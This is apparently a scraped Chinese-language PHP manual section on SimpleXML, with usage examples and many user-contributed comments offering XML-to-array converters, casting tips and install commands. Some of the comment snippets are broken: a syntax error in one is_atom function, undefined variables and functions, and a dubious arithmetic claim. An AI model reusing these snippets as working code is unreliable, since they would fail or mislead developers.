  • ? SDO_DAS_XML_Document::setXMLDeclaration
  • SimpleXML ?
  • PHP Manual
  • SDO DAS XML 函数
  • Sets the given string as xml version

SDO_DAS_XML_Document::setXMLVersion

(^)

SDO_DAS_XML_Document::setXMLVersion — Sets the given string as xml version

说明

SDO_DAS_XML_Document::setXMLVersion ( string $xmlVersion ) : void

Sets the given string as xml version.

参数

xmlVersion

xml version string.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


SimpleXML

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • Basic SimpleXML usage
    • Dealing with XML errors
  • SimpleXMLElement — The SimpleXMLElement class
    • SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element
    • SimpleXMLElement::addChild — Adds a child element to the XML node
    • SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element
    • SimpleXMLElement::attributes — Identifies an element's attributes
    • SimpleXMLElement::children — Finds children of given node
    • SimpleXMLElement::__construct — Creates a new SimpleXMLElement object
    • SimpleXMLElement::count — Counts the children of an element
    • SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document
    • SimpleXMLElement::getName — Gets the name of the XML element
    • SimpleXMLElement::getNamespaces — Returns namespaces used in document
    • SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query
    • SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML
    • SimpleXMLElement::__toString — Returns the string content
    • SimpleXMLElement::xpath — Runs XPath query on XML data
  • SimpleXMLIterator — The SimpleXMLIterator class
    • SimpleXMLIterator::current — Returns the current element
    • SimpleXMLIterator::getChildren — Returns the sub-elements of the current element
    • SimpleXMLIterator::hasChildren — Checks whether the current element has sub elements
    • SimpleXMLIterator::key — Return current key
    • SimpleXMLIterator::next — Move to next element
    • SimpleXMLIterator::rewind — Rewind to the first element
    • SimpleXMLIterator::valid — Check whether the current element is valid
  • SimpleXML 函数
    • simplexml_import_dom — Get a SimpleXMLElement object from a DOM node
    • simplexml_load_file — Interprets an XML file into an object
    • simplexml_load_string — Interprets a string of XML into an object

User Contributed Notes

charles dot a dot dacosta at gmail dot com 15-Nov-2016 09:49
I had to do the following to catch the fact that my simplexml_load_string call was not working right (it was returning empty objects).

$statistik = simplexml_load_string($record,"SimpleXMLElement",LIBXML_NSCLEAN,$ns,TRUE);

    if (($statistik === FALSE) or ($statistik === NULL) or empty($statistik))
    {
        echo "$ctr) STATISTIK ERROR---\n";
        var_dump($statistik);
        echo "\n\n";
        echo "Failed loading XML\n";
        foreach(libxml_get_errors() as $error)
        {
            echo "\n", $error->message;
        }
        die();
    }

before I put the check for "empty()" I was not catching the error.
oleg at mastak dot fi 30-Mar-2016 09:57
Two lines xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$array = (array) $xml;

?>
Serge 26-Feb-2015 10:58
XML data values should not contain "&" and that need to be replaced by html-entity "&amp;"

You can use this code to replace lonely "&" to "&amp;":

<?php
$sText = preg_replace('#&(?![a-z]{1,6};)#i', '&amp;', $sText);
?>

This will replace just "&" into "&amp;" but dont touches other html-entities like "&nbsp;", "&lt;" etc and, of course, "&amp;".

P.S. In regexp max length is 6 becouse I found that is the maximum length of possible html entity using this code:
<?php
max(array_map('strlen', array_values(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5)))) - 2
?>
minus two is for first "&" and last ";" in an any html entity.
Tim Adam Perez 23-Jan-2014 08:22
XML to Array in a single line:
$array = (array) simplexml_load_string($xml);

Enjoy!
maikel at yuluma dot com 17-Oct-2013 09:02
In reply to  soloman at textgrid dot com,

2 line XML2Array:

$xml = simplexml_load_string($file);
$array = (array)$xml;
dkrnl at yandex dot ru 30-Sep-2013 02:57
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php

<?php

/**
 * Simple XML Reader
 *
 * @license Public Domain
 * @author Dmitry Pyatkov(aka dkrnl) <dkrnl@yandex.ru>
 * @url http://github.com/dkrnl/SimpleXMLReader
 */
class SimpleXMLReader extends XMLReader
{

    /**
     * Callbacks
     *
     * @var array
     */
    protected $callback = array();

    /**
     * Add node callback
     *
     * @param  string   $name
     * @param  callback $callback
     * @param  integer  $nodeType
     * @return SimpleXMLReader
     */
    public function registerCallback($name, $callback, $nodeType = XMLREADER::ELEMENT)
    {
        if (isset($this->callback[$nodeType][$name])) {
            throw new Exception("Already exists callback $name($nodeType).");
        }
        if (!is_callable($callback)) {
            throw new Exception("Already exists parser callback $name($nodeType).");
        }
        $this->callback[$nodeType][$name] = $callback;
        return $this;
    }

    /**
     * Remove node callback
     *
     * @param  string  $name
     * @param  integer $nodeType
     * @return SimpleXMLReader
     */
    public function unRegisterCallback($name, $nodeType = XMLREADER::ELEMENT)
    {
        if (!isset($this->callback[$nodeType][$name])) {
            throw new Exception("Unknow parser callback $name($nodeType).");
        }
        unset($this->callback[$nodeType][$name]);
        return $this;
    }

    /**
     * Run parser
     *
     * @return void
     */
    public function parse()
    {
        if (empty($this->callback)) {
            throw new Exception("Empty parser callback.");
        }
        $continue = true;
        while ($continue && $this->read()) {
            if (isset($this->callback[$this->nodeType][$this->name])) {
                $continue = call_user_func($this->callback[$this->nodeType][$this->name], $this);
            }
        }
    }

    /**
     * Run XPath query on current node
     *
     * @param  string $path
     * @param  string $version
     * @param  string $encoding
     * @return array(SimpleXMLElement)
     */
    public function expandXpath($path, $version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->xpath($path);
    }

    /**
     * Expand current node to string
     *
     * @param  string $version
     * @param  string $encoding
     * @return SimpleXMLElement
     */
    public function expandString($version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->asXML();
    }

    /**
     * Expand current node to SimpleXMLElement
     *
     * @param  string $version
     * @param  string $encoding
     * @param  string $className
     * @return SimpleXMLElement
     */
    public function expandSimpleXml($version = "1.0", $encoding = "UTF-8", $className = null)
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return simplexml_import_dom($node, $className);
    }

    /**
     * Expand current node to DomDocument
     *
     * @param  string $version
     * @param  string $encoding
     * @return DomDocument
     */
    public function expandDomDocument($version = "1.0", $encoding = "UTF-8")
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return $document;
    }

}
?>
whyme 28-Dec-2012 09:55
Simple means simple.  If you know the structure and just want the value of a tag:

<?php
$xml = simplexml_load_file($xmlfile);
print $xml->City->Street->Address->HouseColor;
?>

Warning, numbers can come out as strings, empty elements like <HouseColor></HouseColor> come out as array(0)
Laurent Vervisch 24-Jun-2012 10:57
Here is an example of an easy mapping between xml and classes defined by user.

<?php
class XmlClass extends SimpleXMLElement
{
    /**
     * Returns this object as an instance of the given class.
     */
    public function asInstanceOf($class_name)
    {
        // should check that class_name is valid

        return simplexml_import_dom(dom_import_simplexml($this), $class_name);
    }

    public function __call($name, array $arguments)
    {
        echo "magic __call called for method $name on instance of ".get_class()."\n";

        // class could be mapped according $this->getName()
        $class_name = 'Test';

        $instance = $this->asInstanceOf($class_name);
        return call_user_func_array(array($instance, $name), $arguments);
    }
}

class Test extends XmlClass
{
    public function setValue($string)
    {
        $this->{0} = $string;
    }
}

$xml = new XmlClass('<example><test/></example>');
$test = $xml->test->asInstanceOf('Test');
echo get_class($xml->test), "\n";
echo get_class($test), "\n";

$test->setValue('value set directly by instance of Test');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";

$xml->test->setValue('value set by instance of XmlClass and magic __call');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";
?>

XmlClass
Test
value set directly by instance of Test
value set directly by instance of Test
magic __call called for method setValue on instance of XmlClass
value set by instance of XmlClass and magic __call
value set by instance of XmlClass and magic __call
xaviered at gmail dot com 17-May-2012 07:00
Here is a recursive function that will convert a given SimpleXMLElement object into an array, preserving namespaces and attributes.

<?php
function xmlObjToArr($obj) {
        $namespace = $obj->getDocNamespaces(true);
        $namespace[NULL] = NULL;

        $children = array();
        $attributes = array();
        $name = strtolower((string)$obj->getName());

        $text = trim((string)$obj);
        if( strlen($text) <= 0 ) {
            $text = NULL;
        }

        // get info for all namespaces
        if(is_object($obj)) {
            foreach( $namespace as $ns=>$nsUrl ) {
                // atributes
                $objAttributes = $obj->attributes($ns, true);
                foreach( $objAttributes as $attributeName => $attributeValue ) {
                    $attribName = strtolower(trim((string)$attributeName));
                    $attribVal = trim((string)$attributeValue);
                    if (!empty($ns)) {
                        $attribName = $ns . ':' . $attribName;
                    }
                    $attributes[$attribName] = $attribVal;
                }

                // children
                $objChildren = $obj->children($ns, true);
                foreach( $objChildren as $childName=>$child ) {
                    $childName = strtolower((string)$childName);
                    if( !empty($ns) ) {
                        $childName = $ns.':'.$childName;
                    }
                    $children[$childName][] = xmlObjToArr($child);
                }
            }
        }

        return array(
            'name'=>$name,
            'text'=>$text,
            'attributes'=>$attributes,
            'children'=>$children
        );
    }
?>
thedoc8786 at gmail dot com 23-Mar-2012 07:42
FAIL! This function works better than the one I posted below:

<?php
    function toArray($xml) {
        $array = json_decode(json_encode($xml), TRUE);

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( empty($value) ) $array[$key] = NULL;
            elseif ( is_array($value) ) $array[$key] = toArray($value);
        }

        return $array;
    }
thedoc8786 at gmail dot com 23-Mar-2012 04:19
I know it is over-done, but the following is a super-short example of a XML to Array conversion function (recursive):

<?php
    function toArray(SimpleXMLElement $xml) {
        $array = (array)$xml;

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( $value instanceof SimpleXMLElement ) {
                $array[$key] = empty($value) ? NULL : toArray($value);
            }
        }
        return $array;
    }
xananax at yelostudio dot com 07-Sep-2011 06:25
None of the XML2Array functions that I found satisfied me completely; Their results did not always fit the project I was working on, and I found none that would account for repeating XML elements (such as
<fields><field/><field/><field/></fields>)
So I rolled out my own; hope it helps someone.
<?php
/**
 * Converts a simpleXML element into an array. Preserves attributes.<br/>
 * You can choose to get your elements either flattened, or stored in a custom
 * index that you define.<br/>
 * For example, for a given element
 * <code>
 * <field name="someName" type="someType"/>
 * </code>
 * <br>
 * if you choose to flatten attributes, you would get:
 * <code>
 * $array['field']['name'] = 'someName';
 * $array['field']['type'] = 'someType';
 * </code>
 * If you choose not to flatten, you get:
 * <code>
 * $array['field']['@attributes']['name'] = 'someName';
 * </code>
 * <br>__________________________________________________________<br>
 * Repeating fields are stored in indexed arrays. so for a markup such as:
 * <code>
 * <parent>
 *     <child>a</child>
 *     <child>b</child>
 *     <child>c</child>
 * ...
 * </code>
 * you array would be:
 * <code>
 * $array['parent']['child'][0] = 'a';
 * $array['parent']['child'][1] = 'b';
 * ...And so on.
 * </code>
 * @param simpleXMLElement    $xml            the XML to convert
 * @param boolean|string    $attributesKey    if you pass TRUE, all values will be
 *                                            stored under an '@attributes' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $childrenKey    if you pass TRUE, all values will be
 *                                            stored under an '@children' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $valueKey        if you pass TRUE, all values will be
 *                                            stored under an '@values' index. Note
 *                                            that you can also pass a string to
 *                                            change the default index.<br/>
 *                                            defaults to null.
 * @return array the resulting array.
 */
function simpleXMLToArray(SimpleXMLElement $xml,$attributesKey=null,$childrenKey=null,$valueKey=null){

    if($childrenKey && !is_string($childrenKey)){$childrenKey = '@children';}
    if($attributesKey && !is_string($attributesKey)){$attributesKey = '@attributes';}
    if($valueKey && !is_string($valueKey)){$valueKey = '@values';}

    $return = array();
    $name = $xml->getName();
    $_value = trim((string)$xml);
    if(!strlen($_value)){$_value = null;};

    if($_value!==null){
        if($valueKey){$return[$valueKey] = $_value;}
        else{$return = $_value;}
    }

    $children = array();
    $first = true;
    foreach($xml->children() as $elementName => $child){
        $value = simpleXMLToArray($child,$attributesKey, $childrenKey,$valueKey);
        if(isset($children[$elementName])){
            if(is_array($children[$elementName])){
                if($first){
                    $temp = $children[$elementName];
                    unset($children[$elementName]);
                    $children[$elementName][] = $temp;
                    $first=false;
                }
                $children[$elementName][] = $value;
            }else{
                $children[$elementName] = array($children[$elementName],$value);
            }
        }
        else{
            $children[$elementName] = $value;
        }
    }
    if($children){
        if($childrenKey){$return[$childrenKey] = $children;}
        else{$return = array_merge($return,$children);}
    }

    $attributes = array();
    foreach($xml->attributes() as $name=>$value){
        $attributes[$name] = trim($value);
    }
    if($attributes){
        if($attributesKey){$return[$attributesKey] = $attributes;}
        else{$return = array_merge($return, $attributes);}
    }

    return $return;
}
?>
soloman at textgrid dot com 09-Aug-2011 05:06
Three line xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$json = json_encode($xml);
$array = json_decode($json,TRUE);

?>

Ta da!
streaver91 at gmail dot com 04-May-2011 08:49
The BIGGEST differece between an XML and a PHP array is that in an XML file, the name of elements can be the same even if they are siblings, eg. "<pa><ch /><ch /><ch /></pa>", while in an PHP array, the key of which must be different.

I think the array structure developed by svdmeer can fit for XML, and fits well.

here is an example array converted from an xml file:
array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@text"=>"some text",
)

or if it has childrens, that can be:

array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@items"=>array(
    0=>array(
        "@tag"=>"name","@text"=>"some text"
    )
)

Also, I wrote a function that can change that array back to XML.

<?php
function array2XML($arr,$root) {
$xml = new SimpleXMLElement("<?xml version=\"1.0\" encoding=\"utf-8\" ?><{$root}></{$root}>");
$f = create_function('$f,$c,$a','
        foreach($a as $v) {
            if(isset($v["@text"])) {
                $ch = $c->addChild($v["@tag"],$v["@text"]);
            } else {
                $ch = $c->addChild($v["@tag"]);
                if(isset($v["@items"])) {
                    $f($f,$ch,$v["@items"]);
                }
            }
            if(isset($v["@attr"])) {
                foreach($v["@attr"] as $attr => $val) {
                    $ch->addAttribute($attr,$val);
                }
            }
        }');
$f($f,$xml,$arr);
return $xml->asXML();
}
?>
phil at dier dot us 19-Jan-2011 11:37
Here's a function I came up with to convert an associative array to XML.  Works for multidimensional arrays as well.

<?php
function assocArrayToXML($root_element_name,$ar)
{
    $xml = new SimpleXMLElement("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    $ch=$c->addChild($k);
                    $f($f,$ch,$v);
                } else {
                    $c->addChild($k,$v);
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}
?>
philipp at strazny dot com 23-Nov-2010 05:33
Here's a quick way to dump the nodeValues from SimpleXML into an array using the path to each nodeValue as key. The paths are compatible with e.g. DOMXPath. I use this when I need to update values externally (i.e. in code that doesn't know about the underlying xml). Then I use DOMXPath to find the node containing the original value and update it.

<?php
function XMLToArrayFlat($xml, &$return, $path='', $root=false)
{
    $children = array();
    if ($xml instanceof SimpleXMLElement) {
        $children = $xml->children();
        if ($root){ // we're at root
            $path .= '/'.$xml->getName();
        }
    }
    if ( count($children) == 0 ){
        $return[$path] = (string)$xml;
        return;
    }
    $seen=array();
    foreach ($children as $child => $value) {
        $childname = ($child instanceof SimpleXMLElement)?$child->getName():$child;
        if ( !isset($seen[$childname])){
            $seen[$childname]=0;
        }
        $seen[$childname]++;
        XMLToArrayFlat($value, $return, $path.'/'.$child.'['.$seen[$childname].']');
    }
}
?>

Use like this:

<?php
$xml = simplexml_load_string(...some xml string...);
$xmlarray = array(); // this will hold the flattened data
XMLToArrayFlat($xml, $xmlarray, '', true);
?>

You can also pull multiple files in one array:

<?php
foreach($files as $file){
    $xml = simplexml_load_file($file);
    XMLToArrayFlat($xml, $xmlarray, $file.':', true);
}
?>
The respective filename/path is thus prefixed to each key.
kristof at viewranger dot com 18-Nov-2010 05:14
If you tried to load an XML file with this, but the CDATA parts were not loaded for some reason, is because you should do it this way:

$xml = simplexml_load_file($this->filename, 'SimpleXMLElement', LIBXML_NOCDATA);

This converts CDATA to String in the returning object.
sherwinterunez at yahoo dot com 01-Sep-2010 11:15
<?php

// Sherwin R. Terunez
//
// This is my own version of XML Object to Array
//

function amstore_xmlobj2array($obj, $level=0) {

    $items = array();

    if(!is_object($obj)) return $items;

    $child = (array)$obj;

    if(sizeof($child)>1) {
        foreach($child as $aa=>$bb) {
            if(is_array($bb)) {
                foreach($bb as $ee=>$ff) {
                    if(!is_object($ff)) {
                        $items[$aa][$ee] = $ff;
                    } else
                    if(get_class($ff)=='SimpleXMLElement') {
                        $items[$aa][$ee] = amstore_xmlobj2array($ff,$level+1);
                    }
                }
            } else
            if(!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(get_class($bb)=='SimpleXMLElement') {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            }
        }
    } else
    if(sizeof($child)>0) {
        foreach($child as $aa=>$bb) {
            if(!is_array($bb)&&!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(is_object($bb)) {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            } else {
                foreach($bb as $cc=>$dd) {
                    if(!is_object($dd)) {
                        $items[$obj->getName()][$cc] = $dd;
                    } else
                    if(get_class($dd)=='SimpleXMLElement') {
                        $items[$obj->getName()][$cc] = amstore_xmlobj2array($dd,$level+1);
                    }
                }
            }
        }
    }

    return $items;
}

?>
michael dot allen at emp dot shentel dot com 15-Apr-2010 11:06
Here is a very robust SimpleXML parser.  Can be used to load files, strings, or DOM into SimpleXML, or can be used to perform the reverse when handed SimpleXML.

<?php
/**
 * XMLParser Class File
 *
 * This class loads an XML document into a SimpleXMLElement that can
 * be processed by the calling application.  This accepts xml strings,
 * files, and DOM objects.  It can also perform the reverse, converting
 * an SimpleXMLElement back into a string, file, or DOM object.
 */
class XMLParser {
    /**
     * While parsing, parse the supplied XML document.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML document file.
     *
     * @param string $doc the xml document location path
     * @return object
     */
    public static function loadFile($doc) {
        if (file_exists($doc)) {
            return simplexml_load_file($doc);
        } else {
            throw new Exception ("Unable to load the xml file " .
                                 "using: \"$doc\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML string.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML string.
     *
     * @param string $string the xml document string
     * @return object
     */
    public static function loadString($string) {
        if (isset($string)) {
            return simplexml_load_string($string);
        } else {
            throw new Exception ("Unable to load the xml string " .
                                 "using: \"$string\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML DOM node.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML DOM node.
     *
     * @param object $dom the xml DOM node
     * @return object
     */
    public static function loadDOM($dom) {
        if (isset($dom)) {
            return simplexml_import_dom($dom);
        } else {
            throw new Exception ("Unable to load the xml DOM node " .
                                 "using: \"$dom\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the SimpleXMLElement.
     *
     * Sets up a XML file, string, or DOM object based on success of
     * parsing the XML DOM node.
     *
     * @param object $path the xml document location path
     * @param string $type the return type (string, file, dom)
     * @param object $simplexml the simple xml element
     * @return mixed
     */
    public static function loadSXML($simplexml, $type, $path) {
        if (isset($simplexml) && isset($type)) {
        switch ($type) {
            case 'string':
                return $simplexml->asXML();
            break;
            case 'file':
                if (isset($path)) {
                    return $simplexml->asXML($path);
                } else {
                    throw new Exception ("Unable to create the XML file. Path is missing or" .
                                         "is invalid: \"$path\"", E_USER_ERROR);
                }
            break;
            case 'dom':
                return dom_import_simplexml($simplexml);
            break;
        }
        } else {
            throw new Exception ("Unable to load the simple XML element " .
                                 "using: \"$simplexml\"", E_USER_ERROR);
        }
    }
}
?>
emmanuel 17-Feb-2010 10:21
dynamic sql in php using xml:

test.xml:
<?xml version="1.0" encoding="UTF-8"?>
<sql>
    <statement>
        SELECT * FROM USERS
        <call criteria="byId">WHERE id = %d</call>
        <call criteria="byUsername">WHERE username = "%s"</call>;
    </statement>
</sql>

index.php:
<?php
function callMe($param) {
    $search = array('byUsername' => 'dynsql');

    if (isset($search[$param[1]])) {
        return sprintf($param[2], $search[$param[1]]);
    }

    return "";
}

$xml = simplexml_load_file("test.xml");
$string = $xml->statement->asXML();
$string = preg_replace_callback('/<call criteria="(\w+)">(.*?)<\/call>/', 'callMe', $string);
$node = simplexml_load_string($string);
echo $node;
?>

obviously, this example can be improved [in your own code.]
mahmutta at gmail dot com 20-Jan-2010 12:58
while using simple xml and get double or float int value from xml object for using math operations (+ * - / ) some errors happens on the operation, this is because of simple xml returns everythings to objects.
exmple;

<?php

$name = "somestring";
$size = 11.45;
$xml = '
<xml>
 <name>somestring</name>
 <size>11.45</size>
</xml>';

$xmlget = simplexml_load_string($xml)

echo $xml->size*2;    // 20  its false
// ($xml->size is an object (int)11 and  (45) )

// this is true
echo $size*2;            // 22.90
echo (float)$size*2;   // 22.90
?>
antoine dot rabanes at gmail dot com 16-Oct-2009 07:22
if for some reasons you need the string value instead of the simpleXML Object you can cast the return value as a string.

exemple:

<?php
$all_api_call = simplexml_load_file($url);
$all_api = array();
$all_api = $all_api_call->result;
$list_all_api_name = array();
$i = 0;
foreach ($all_api->children() as $funcky_function)
{
    $string_tmp = (string )$funcky_function->function;
    $list_all_api_name[$i++] = $putain;
}
?>

...
walter 12-Jun-2009 07:58
Working fix for the infamous SimpleXML + memcache bug.

Improves code at http://tinyurl.com/bmoon-simplexml to actually work for arbitrary-depth structures.  (Because neither the function nor the json_decode(json_encode($obj)) hack listed there worked for me.)

There's probably some superfluous code in here that could be improved on -- but it works!

<?php
 # convert a structure that may include objects to a pure
 # array-based structure (that can be stored in memcache)
 #  ... includes support for simplexml!
 # (nb: may have problems with infinite recursive structs)
 function enforce_array($obj) {
  $array = (array)$obj;
  if(empty($array)) {
   $array = '';
  }
  else {
   foreach($array as $key=>$value) {
    if(!is_scalar($value)) {
     if(is_a($value,'SimpleXMLElement')) {
      $tmp = memcache_objects_to_array($value);
      if(!is_array($tmp)) {
       $tmp = ''.$value;
      }
      $array[$key] = $tmp;
     }
     else {
      $array[$key] = enforce_array($value);
     }
    }
    else {
     $array[$key] = $value;
    }
   }
  }
  return $array;
 }
?>
mail at kleineedv dot de 28-Apr-2009 12:37
I had a problem with simplexml reading nodes from an xml file. It always return an SimpleXML-Object but not the text inside the node.

Example:
<?xml version="1.0" encoding="UTF-8"?>
<Test>
    <Id>123</Id>
</Test>

Reading this xml into a variable called $xml and then doing the following
<?php
$myId = $xml->Id;
?>
Did not return 123 in $myId, but instead I got a SimpleXMLElement Object.

The solution is simple, when you know it. Use explicit string conversion.
<?php
$myId = (string)$xml->Id;
?>
oscargodson at gmail dot com 25-Jan-2009 03:05
To add to what others have said, you can't directly put a $_GET or $_POST value into a variable then into an attribute using SimpleXML. You must first convert it to an integer.

This will NOT work

<?php
      $page_id = $_GET['id'];
      echo $xml->page[$page_id]
?>

You will get something like:
Notice: Trying to get property of non-object in /Applications/MAMP/htdocs/mysite/index.php on line 10

However, this WILL work and is much simpler then using (string) or other methods.
<?php
   $page_id = intval($_GET['id']);
   echo $xml->page[$page_id]
?>
bxt at die-optimisten dot net 26-Nov-2008 07:47
Addition to QLeap's post:
SimpleXML will return a reference to an object containing the node value and you can't use references in session variables as there is no feasible way to restore a reference to another variable.

This won't work too:
$val=$this->xml->node->attributes()->name;
echo $array[$val]; // will cause a warning because of the wrong index type.

You have to convert/cast to a String first:
echo $array[(string)$val];

This will work as expected, because converting will call the __toString() method. Therefor echo works too:
echo $val; // will display the name
QLeap 18-Nov-2008 02:27
Storing SimpleXMLElement values in $_SESSION does not work. Saving the results as an object or individual elements of the object will result in the dreaded "Warning: session_start() [function.session-start]: Node no longer exists" error.

For example, this does not work:

    $xml  = new SimpleXMLElement($page);
    $country  = $xml->Response->Placemark->AddressDetails->Country->CountryNameCode;
    $_SESSION['country'] = $country;

This will work:

    $_SESSION['country'] = (string) $country;
gwhitescarver at yahoo dot com 11-Sep-2008 01:02
Moving some code from a PHP 5.2.6 / Windows environment to a 5.2.0 / Linux environment, I somehow lost access to a plain text node within a SimpleXML Object.  On a var_dump of $xml_node, a [0] element was shown as the string '12'.  However, $xml_node[0] was evaluating NULL in 5.2.0.  You can see below the code change I made, pulling my data out of the raw XML with a regular expression.  Hope this is useful to someone.

//In some versions of PHP it seems we cannot access the [0] element of a SimpleXML Object.  Doesn't work in 5.2.0:
//$count = $xml_node[0];
//grab the raw XML:
$count = ($xml_node->asXML());
//pull out the number between the closing and opening brace of the xml:
$count = preg_replace('/.*>(\d*)<.*/', '$1', $count);
charlie at blankcanvasstudios dot com 14-Aug-2008 11:21
Optimizing aalaap at gmail dot com's php

<?php
function is_rss($feedxml) {
    @$feed = simplexml_load_string($feedxml);

    return ($feed->channel->item)?true:false;
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);
    ($feed->entry):true:false;
}
?>
aalaap at gmail dot com 30-Jun-2008 06:58
Here are two quick and dirty functions that use SimpleXML to detect if a feed xml is RSS or ATOM:

<?php
function is_rss($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->channel->item) {
        return true;
    } else {
        return false;
    }
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->entry) {
        return true;
    } else {
        return false;
    }
}
?>

The functions take in the full text feed (retrieved via cURL, for example) and return a true or a false based on the result.


简介

SimpleXML 扩展提供了一个非常简单和易于使用的工具集，能将 XML 转换成一个带有一般属性选择器和数组迭代器的对象。

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

The SimpleXML extension requires PHP 5.

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用,编译时可通过下列选项禁用： --disable-simplexml

Note: Before PHP 5.1.2, --enable-simplexml is required to enable this extension.

User Contributed Notes

Rapitharian at hotmail dot com 24-Apr-2019 08:39
To install on CentOS and Redhat, run: sudo yum -y install php-xml
ottakar at freezed dot me 19-Dec-2017 09:31
This XML module is not provided on a default php (v7) install on Debian GNU/Linux stretch (9.3)
Add it with: sudo apt-get install php-xml
shashank at shankee dot com 31-May-2017 09:44
Installing simpleXml using composer:

"composer require ext-simplexml"

The extension is enabled by default in most distros. You can check the list of php modules using:

"php -m"
morel dot josh at hotmail dot com 17-Dec-2016 12:09
For Linux Ubuntu using PHP 7:
sudo apt-get install php7.0-xml


范例

Table of Contents

  • Basic SimpleXML usage
  • Dealing with XML errors

User Contributed Notes

Juan Herrera 19-Dec-2009 12:49
When using simplexml to access a element the returned object may be a SimpleXMLElement instead of a string.

Example:

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
    <cmd>login</cmd>
    <login>Richard</login>
</document>
XML;

$xml = simplexml_load_string($string);
print_r($xml);
$login = $xml->login;
print_r($login);
$login = (string) $xml->login;
print_r($login);
?>

Expected result:
----------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
Richard
Richard

Actual result:
--------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
SimpleXMLElement Object
(
    [0] => Richard
)
Richard

But this is an intended behavior. See http://bugs.php.net/bug.php?id=29500
info at accountr dot eu 05-May-2009 08:35
Instead of using  <?php eval($code) ?>

you can use this method,

<?php

$node = "node";

$XML = simplexml_load_file($file);

$text = (string)$XML->nodes->{$node}; // works
// or
$text2 = (string)$XML->{$node}->child; // also works fine

?>

I think it is much more easier instead of eval().
Kari P. 15-Aug-2008 02:17
To take care of proper error checking, one must use try-catch blocks:

<?php
try {
  $sxe = new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>

To get rid of warnings, use @ in front of new:

<?php
try {
  $sxe = @new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>
mike at mike-griffiths dot co dot uk 18-Apr-2008 09:11
It is important that you select the correct method of loading the XML in depending on the format of your XML file.

If you use the wrong function to load it in you will get some strange errors.


Basic SimpleXML usage

Many examples in this reference require an XML string. Instead of repeating this string in every example, we put it into a file which we include in each example. This included file is shown in the following example section. Alternatively, you could create an XML document and read it with simplexml_load_file().

Example #1 Include file example.php with XML string

<?php
$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<movies>
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#211;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
</movies>
XML;
?>

The simplicity of SimpleXML appears most clearly when one extracts a string or number from a basic XML document.

Example #2 Getting <plot>

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie[0]->plot;
?>

以上例程会输出：

   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.

Accessing elements within an XML document that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

Example #3 Getting <line>

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie->{'great-lines'}->line;
?>

